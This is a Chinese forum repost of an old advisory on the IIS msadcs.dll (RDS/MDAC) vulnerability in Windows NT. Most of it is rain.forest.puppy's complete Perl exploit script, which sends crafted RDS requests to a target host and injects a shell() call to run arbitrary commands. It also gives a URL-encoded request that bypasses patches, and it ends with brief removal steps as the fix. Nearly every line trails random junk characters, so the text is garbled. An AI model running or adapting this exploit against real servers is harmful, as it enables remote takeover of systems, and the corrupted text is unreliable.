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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Oe ~g[I;  
<\EJ:  
涉及程序: ~sT1J|  
Microsoft NT server {2F@OfuCF  
J"~!jrzBh(  
描述: YpI|=mv  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 v6P2v  
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详细: =~_  
如果你没有时间读详细内容的话,就删除: `3:Q.A_?  
c:\Program Files\Common Files\System\Msadc\msadcs.dll a'Yi^;2+\  
有关的安全问题就没有了。 %z~=Jz^  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 7zq@T]  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 6GA+xr=  
关于利用ODBC远程漏洞的描述,请参看: &&g02>gE  
f~ wgMp.W0  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm f0&%  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ZeLed[J^xJ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,49Z/P  
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这里不再论述。 8PR\a!"  
L3=5tuQ[5  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Qk72ra)  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset C),i#v  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Z+=M_{`{  
d}Q% I  
pO92cGJ8  
#将下面这段保存为txt文件,然后: "perl -x 文件名" LU/;` In  
EpH_v`  
#!perl |'-%d^ Z  
# R.!.7dO  
# MSADC/RDS 'usage' (aka exploit) script % Ai' 6  
# _&%FGcAS  
# by rain.forest.puppy T@A Qe[U'v  
# *:"@  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me mv 7W03  
# beta test and find errors! dXfLN<nD>U  
0j;q^>  
use Socket; use Getopt::Std; yd=b!\}WJ  
getopts("e:vd:h:XR", \%args); *3)kr=x  
+PS jBO4!  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; E>+>!On)b  
yzT4D>1,  
if (!defined $args{h} && !defined $args{R}) { XBoq/kbw!  
print qq~ |az2vD6P  
Usage: msadc.pl -h <host> { -d <delay> -X -v } )k;;O7C k  
-h <host> = host you want to scan (ip or domain) m*jTvn  
-d <seconds> = delay between calls, default 1 second Ol~M BQs  
-X = dump Index Server path table, if available l dqU#{  
-v = verbose pH3<QNq5  
-e = external dictionary file for step 5 PMUW<UI  
*YSRZvD<\  
Or a -R will resume a command session |nE4tN#J<  
/3&MUB*z&y  
~; exit;} 0` .5gxm  
L 0oVXmlr  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; |Ve,Y  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} VD< z]@  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 2vWn(6`  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Q8MIpa!:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 7Ja*T@ !h  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;tSA Q  
j+@3.^vK  
if (!defined $args{R}){ $ret = &has_msadc; AJm$(3?/D  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} tv26eK 38  
,J8n}7aI  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^qnmKA>"F  
. "cmd /c "; m7DKC,  
$in=<STDIN>; chomp $in; J\P6  
$command="cmd /c " . $in ; *MB >,HU  
g(Q1d-L4e  
if (defined $args{R}) {&load; exit;} z_N";Rn  
,yA[XAz~U  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; S*$?~4{R  
&try_btcustmr; {`G d  
d$jwh(Ivs  
print "\nStep 2: Trying to make our own DSN..."; }opw_h+/F  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Ulx]4;uzf  
fbU3-L?  
print "\nStep 3: Trying known DSNs..."; lLDZ#'&An  
&known_dsn; ] |nW  
rlD!%gG2x  
print "\nStep 4: Trying known .mdbs..."; *= ?|n   
&known_mdb; 15hqoo9!  
Fj(GyPFG  
if (defined $args{e}){ /0 4US5En  
print "\nStep 5: Trying dictionary of DSN names..."; P:t .Nr"  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } a eeor  
MM_:2 ^P)  
print "Sorry Charley...maybe next time?\n"; +D:8r|evH  
exit; -rn6ZSD)  
Q2D!Agq=D  
############################################################################## xhOoZ-  
tM^4K r~o,  
sub sendraw { # ripped and modded from whisker "L:4 7!8  
sleep($delay); # it's a DoS on the server! At least on mine... &iVdqr1,  
my ($pstr)=@_; 2 U]d 1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || r34MDUZdI  
die("Socket problems\n"); Id##367R  
if(connect(S,pack "SnA4x8",2,80,$target)){ P/dnH  
select(S); $|=1; " X8jpg  
print $pstr; my @in=<S>; c~?Zmdn:  
select(STDOUT); close(S); r`.N?  
return @in; [IQ|c?DxpL  
} else { die("Can't connect...\n"); }} msM1K1er  
|PlNVd2  
############################################################################## Hddc-7s  
kQ}n~Hn  
sub make_header { # make the HTTP request 94?WL  
my $msadc=<<EOT UhpJGO  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 s0^(yEcq  
User-Agent: ACTIVEDATA \?d3Pn5`  
Host: $ip 4G?^#+|^  
Content-Length: $clen KGHSEZi]  
Connection: Keep-Alive Vh;zV Y  
/rnI"ze`  
ADCClientVersion:01.06 kB> ~Tb0  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 IF|6iKCE  
yjg&/6  
--!ADM!ROX!YOUR!WORLD! 6FQi=}O1  
Content-Type: application/x-varg 8.#{J&h  
Content-Length: $reqlen iBd6&?E?<  
%^pi  
EOT XS[L-NHG  
; $msadc=~s/\n/\r\n/g; Ch_rV+  
return $msadc;} 8s@N NjV  
b1.*cIv}  
############################################################################## w_xca(  
~DI$O[KpR%  
sub make_req { # make the RDS request :Iv;%a0 -  
my ($switch, $p1, $p2)=@_; ksOGCd^G7  
my $req=""; my $t1, $t2, $query, $dsn; 6JDHwV  
>w@+cUto  
if ($switch==1){ # this is the btcustmr.mdb query =O![>Fu5  
$query="Select * from Customers where City=" . make_shell(); t82'K@sq  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . lGl'A}]#$  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} &~ y)b`r  
cKe%P|8  
elsif ($switch==2){ # this is general make table query C/Khp +  
$query="create table AZZ (B int, C varchar(10))"; )ODF6Ag  
$dsn="$p1";} ]~KLdgru_  
_XV%}Xb'  
elsif ($switch==3){ # this is general exploit table query GWnIy6TH l  
$query="select * from AZZ where C=" . make_shell(); zKO7`.*  
$dsn="$p1";} Dj&~x  
kg[%Q]]  
elsif ($switch==4){ # attempt to hork file info from index server /Hyz]46  
$query="select path from scope()"; ^Tm`motzh  
$dsn="Provider=MSIDXS;";} Ki\.w~Qs  
8Ojqm#/f  
elsif ($switch==5){ # bad query K>@yk9)vi  
$query="select"; HUi?\4  
$dsn="$p1";} #]kjyT0  
ttzNv>L,  
$t1= make_unicode($query); 6<._^hyq  
$t2= make_unicode($dsn); "6$V1B0KW  
$req = "\x02\x00\x03\x00"; MC}t8L=  
$req.= "\x08\x00" . pack ("S1", length($t1)); XH"+oW  
$req.= "\x00\x00" . $t1 ; /x6p  
$req.= "\x08\x00" . pack ("S1", length($t2)); - {QU>`2  
$req.= "\x00\x00" . $t2 ; l@4_D;b3o"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; //q(v,D%Q  
return $req;} EiL#Dwx  
xc:E>-  
############################################################################## PgWWa*Ew  
9CY{}g  
sub make_shell { # this makes the shell() statement #) aLD0p  
return "'|shell(\"$command\")|'";} YAr6 cl  
xH-d<Ht,7  
############################################################################## *1b|j|5v  
9=%zdz2_S  
sub make_unicode { # quick little function to convert to unicode BBB@M  
my ($in)=@_; my $out; T{k P9 4  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } <v:VA!]  
return $out;} 5ilGWkb`'X  
N+|NI?R?}  
############################################################################## GM%+yS}(P  
}02`ve*   
sub rdo_success { # checks for RDO return success (this is kludge) jwDlz.sW!  
my (@in) = @_; my $base=content_start(@in); @ _Ey"k<  
if($in[$base]=~/multipart\/mixed/){ r ]DiB:.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} }TmOoi(X@  
return 0;} ~~tTr $  
%ou,|Dww  
############################################################################## py*22Ua^  
Dcl$?  
sub make_dsn { # this makes a DSN for us 6#?T?!vZ  
my @drives=("c","d","e","f"); \<4N'|:  
print "\nMaking DSN: "; e1m?g&[  
foreach $drive (@drives) { t'eqk#rq  
print "$drive: "; ,ks2&e  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ,=:K&5mCv  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ]pax,| +$C  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ef5)z}B   
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; y_Y(Xx3  
return 0 if $2 eq "404"; # not found/doesn't exist ?"6Zf LRi  
if($2 eq "200") { &L ;ocd$  
foreach $line (@results) { BU O5g8m{  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} -@W9+Zf5  
} return 0;} ) 7/Cg  
PsY![CPrW  
############################################################################## -8TJ:#|N  
#~*v##^vFH  
sub verify_exists { )h{&O ,s  
my ($page)=@_; )`\hK  
my @results=sendraw("GET $page HTTP/1.0\n\n"); xY^sC56Z  
return $results[0];} _4ag-'5  
6>>; fy2  
############################################################################## Kc/1LeAik  
4T@:_G2b  
sub try_btcustmr { _gvFs %J  
my @drives=("c","d","e","f"); iNO>'7s7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 37#&:[w>  
_C?j\Wy  
foreach $dir (@dirs) { LW %AZkAx  
print "$dir -> "; # fun status so you can see progress :QE5 7 .  
foreach $drive (@drives) { {%V(Dd[B6  
print "$drive: "; # ditto |VBt:dd<  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Yh":>~k?SY  
$reqlenlen=length( "$reqlen" ); {ZJO5*  
$clen= 206 + $reqlenlen + $reqlen; m|a9T#B(  
=kjKK  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); >rSjP1-F  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} (o^tmH*  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 067c/ c  
_Cmmx`ln  
############################################################################## "[bkdL<  
a~$XD(w^  
sub odbc_error { yk+ 50/L  
my (@in)=@_; my $base; 9mF '   
my $base = content_start(@in); K`4rUEf}V"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (!~cO x   
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h [TwaR  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h3ygL"k  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jh5QIZf=  
return $in[$base+4].$in[$base+5].$in[$base+6];} 44]s`QyG  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; o<`vh*U@,4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . C"hN2Z!CD|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} @KN+)qP  
mzgt>Qtkz=  
############################################################################## P*|N)S)X%  
q!Du J  
sub verbose { aO6\ e>  
my ($in)=@_; &qv~)ZM$  
return if !$verbose; Y0LZbT3  
print STDOUT "\n$in\n";} jUe@xi s<T  
o2/:e  
############################################################################## s\*L5{kiSl  
W^(zP/  
sub save { b IDUa  
my ($p1, $p2, $p3, $p4)=@_; 7- B.<$uC  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; q t"D!S_  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; A2_ut6&eb  
close OUT;} om3 %\  
<_EKCk  
############################################################################## peQwH  
B}e/MlX3M  
sub load { a)_3r]sv^  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; m4:c$5  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  ~?ab_CY  
@p=<IN>; close(IN); 3Cf9'C  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); t^s&1#iC  
$target= inet_aton($ip) || die("inet_aton problems"); &i#$ia r  
print "Resuming to $ip ..."; LC%o coc  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; -IPo/?}  
if($p[1]==1) { <r%K i`u(p  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; T(J'p4  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; LGP"S5V  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); r $7.  
if (rdo_success(@results)){print "Success!\n";} CSM"Kz`  
else { print "failed\n"; verbose(odbc_error(@results));}} AIF ?>wgq  
elsif ($p[1]==3){ 6g(;2gY  
if(run_query("$p[3]")){ s :vNr@TS  
print "Success!\n";} else { print "failed\n"; }} qBA)5Sv\V  
elsif ($p[1]==4){ N5Js.j>z  
if(run_query($drvst . "$p[3]")){ _&gi4)q  
print "Success!\n"; } else { print "failed\n"; }} z7K{ ,y  
exit;} 18&"j 8'm  
eYOY   
############################################################################## z.vQ1~s  
F O!Td  
sub create_table { A*JOp8\)  
my ($in)=@_; /{T&l*'  
$reqlen=length( make_req(2,$in,"") ) - 28; 3I)~;>meo  
$reqlenlen=length( "$reqlen" ); N*Y[[N(  
$clen= 206 + $reqlenlen + $reqlen; K-qWT7<  
my @results=sendraw(make_header() . make_req(2,$in,"")); i:lc]B  
return 1 if rdo_success(@results); 0PzSp ]  
my $temp= odbc_error(@results); verbose($temp); qu=~\t1[6  
return 1 if $temp=~/Table 'AZZ' already exists/; $?= $F  
return 0;} ^q7V%{54  
p`tz*ewC  
############################################################################## S%SYvA  
*x36;6~W;  
sub known_dsn { Llfl I   
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ^y<^hKjV  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", XlppA3JON|  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", g~lv/.CnA+  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ot0teNF  
FP@_V-  
foreach $dSn (@dsns) { N$fP\h^AR  
print "."; 'gwh:  
next if (!is_access("DSN=$dSn")); (tK_(gO  
if(create_table("DSN=$dSn")){ sh/ ,"b2!P  
print "$dSn successful\n"; w$]G$e  
if(run_query("DSN=$dSn")){ kmQ:wf:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { LdUz;sb  
print "Something's borked. Use verbose next time\n";}}} print "\n";} G%F#I  
ZO+RE7f*?c  
############################################################################## SN6 QX!3  
Ly= .  
sub is_access { { FJMc O=  
my ($in)=@_; l`v5e"V  
$reqlen=length( make_req(5,$in,"") ) - 28; LjKxznn o  
$reqlenlen=length( "$reqlen" ); B'Yx/c&n  
$clen= 206 + $reqlenlen + $reqlen; 0s n$QmW:  
my @results=sendraw(make_header() . make_req(5,$in,"")); L]Tj]u)  
my $temp= odbc_error(@results); (,At5 T  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); w,%"+ tY_  
return 0;} >a;a8EA<O  
 f<o|5r  
############################################################################## 35h|?eN_m!  
Z+xkN  
sub run_query { z)Rkd0/X  
my ($in)=@_; %bcf% 7  
$reqlen=length( make_req(3,$in,"") ) - 28; 1[P}D~ nQ  
$reqlenlen=length( "$reqlen" ); pa-*&p  
$clen= 206 + $reqlenlen + $reqlen; D#GuF~-F!R  
my @results=sendraw(make_header() . make_req(3,$in,"")); g#S X$k-O  
return 1 if rdo_success(@results); GT6; I7  
my $temp= odbc_error(@results); verbose($temp); j{C~wy!J  
return 0;} >+O0W)g{o  
6IqPZ{g9K'  
############################################################################## u`ir(JIj]  
$z=a+t *  
sub known_mdb { +3,7 Apj  
my @drives=("c","d","e","f","g"); Th_@'UDa  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Agd"m4!  
my $dir, $drive, $mdb; p$,7qGST  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; {O+T`; =)L  
Laj/~Ru6  
# this is sparse, because I don't know of many 1P)K@j  
my @sysmdbs=( "\\catroot\\icatalog.mdb", pH~\~  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4LSs WO<@  
"\\system32\\certmdb.mdb", G^'We6<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% g;l K34{  
kNuvJ/St  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 6(rm%c  
"\\cfusion\\cfapps\\forums\\forums_.mdb", V_i&@<J  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ZayJllaq^  
"\\cfusion\\cfapps\\security\\realm_.mdb",  |Iy;_8c  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", {$S"S j  
"\\cfusion\\database\\cfexamples.mdb", r^k+D<k[7  
"\\cfusion\\database\\cfsnippets.mdb", =Jp:dM*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [REH*_  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", B:>:$LIL  
"\\cfusion\\brighttiger\\database\\cleam.mdb", QPuc{NcB>  
"\\cfusion\\database\\smpolicy.mdb", O>E}Lu;|  
"\\cfusion\\database\cypress.mdb", {-)^?Zb @  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Csyh 'v  
"\\website\\cgi-win\\dbsample.mdb", 6;E3|st1X  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ;CO qu#(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" {OG1' m6=/  
); #these are just +G;<D@gSa0  
foreach $drive (@drives) { h-p}Qil,  
foreach $dir (@dirs){ _DR@P(0>_  
foreach $mdb (@sysmdbs) { ^"Bhp:o2  
print "."; BOpZ8p'eH1  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 2)BO@]n  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; fb Bu^]^S  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ =8_b&4.:&  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; w,hm_aDq  
} else { print "Something's borked. Use verbose next time\n"; }}}}} GwO`@-}E  
.1(_7!m@  
foreach $drive (@drives) { kTjn%Sn,  
foreach $mdb (@mdbs) { ;X}2S!7Ko  
print "."; v hZXgp0X  
if(create_table($drv . $drive . $dir . $mdb)){ p,=IL_  
print "\n" . $drive . $dir . $mdb . " successful\n"; 8{Wl   
if(run_query($drv . $drive . $dir . $mdb)){ +B{u,xgg  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; oVK?lQ~y  
} else { print "Something's borked. Use verbose next time\n"; }}}} +*OAClt+]  
} z/#,L!Z3  
zE;|MU@|  
############################################################################## !S~)U{SSK  
D)MFii1J~  
sub hork_idx { (jKqwVs.:  
print "\nAttempting to dump Index Server tables...\n"; Az8b_:=  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; K0>;4E>B  
$reqlen=length( make_req(4,"","") ) - 28; gpq ,rOIK  
$reqlenlen=length( "$reqlen" ); kNP-+o  
$clen= 206 + $reqlenlen + $reqlen; Vc0j)3  
my @results=sendraw2(make_header() . make_req(4,"","")); 1<:5b%^c  
if (rdo_success(@results)){ &wQ<sVQ0$  
my $max=@results; my $c; my %d; V 2Xv)  
for($c=19; $c<$max; $c++){ Zl[EpXlZ  
$results[$c]=~s/\x00//g; "tT4Cb3  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; PU%Zay  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; R(t%/Hvs$  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; vdXi'<  
$d{"$1$2"}="";} ,`U>BBBLv  
foreach $c (keys %d){ print "$c\n"; }  /$93#$  
} else {print "Index server doesn't seem to be installed.\n"; }} 7!qeIz  
a<*+rGI  
############################################################################## '*[7O2\%/  
5NkF_&S_1  
sub dsn_dict { y%|Ez  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); _)@G,E33f@  
while(<IN>){ pZ $>Hh#  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 0~<?*{~  
next if (!is_access("DSN=$dSn")); h0-.9ym  
if(create_table("DSN=$dSn")){ ;{8 X+H  
print "$dSn successful\n"; XN-1`5:4I  
if(run_query("DSN=$dSn")){ <e&v[  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ZKW1HL ]m  
print "Something's borked. Use verbose next time\n";}}} ys!O"=OJ  
print "\n"; close(IN);} Dh m ;K$T  
4~Q<LEly  
############################################################################## p7+>]sqX  
!pfpT\i]N:  
sub sendraw2 { # ripped and modded from whisker C!_=L?QT^  
sleep($delay); # it's a DoS on the server! At least on mine... eG+$~\%Fub  
my ($pstr)=@_; `?T::&`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || YS4"TOFw  
die("Socket problems\n"); Q?hf2iw  
if(connect(S,pack "SnA4x8",2,80,$target)){ %#fjtbeB  
print "Connected. Getting data"; ka=A:biz  
open(OUT,">raw.out"); my @in; 1/bTwzR.g  
select(S); $|=1; print $pstr; *s, bz.[  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} nVlZ_72d  
close(OUT); select(STDOUT); close(S); return @in; H.hKh  
} else { die("Can't connect...\n"); }} t .&JPTK-H  
<=!t!_  
############################################################################## {%6 '|<`[  
g[y&GCKY!=  
sub content_start { # this will take in the server headers Ce//; Op  
my (@in)=@_; my $c; @@a#DjE%/  
for ($c=1;$c<500;$c++) { Bd*Ok]  
if($in[$c] =~/^\x0d\x0a/){ ^69(V LK  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } TN Z -0  
else { return $c+1; }}} -~sW@u)O  
return -1;} # it should never get here actually f*V^HfiQb  
p%Q{Rqc)  
############################################################################## 8/B8yY-O  
qi^kf  
sub funky { 3f>9tUWhTy  
my (@in)=@_; my $error=odbc_error(@in); 8bw, dBN  
if($error=~/ADO could not find the specified provider/){ ao7M(f  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; vh|m[p  
exit;} I 8 ?  
if($error=~/A Handler is required/){ j!L7r'AV5  
print "\nServer has custom handler filters (they most likely are patched)\n"; oGXcu?ft  
exit;} !9qw  
if($error=~/specified Handler has denied Access/){ o8g] ho  
print "\nServer has custom handler filters (they most likely are patched)\n"; H O>3>v  
exit;}} ("f~gz<<  
"tbKbFn9  
############################################################################## P;7[5HFF  
ld%#.~Q  
sub has_msadc { 7h. [eMLPB  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); bTx4}>=5l  
my $base=content_start(@results); A\"4[PXpQ  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?mi}S${g  
return 0;} `&)  
7lOAu]Zx  
######################## Q=<&ew  
R4D$)D  
-R$Q`Xw  
解决方案: Us6~7L00  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll *Qngx  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 #pD=TMefC  
}PMlG  
拿出来充数 哈哈
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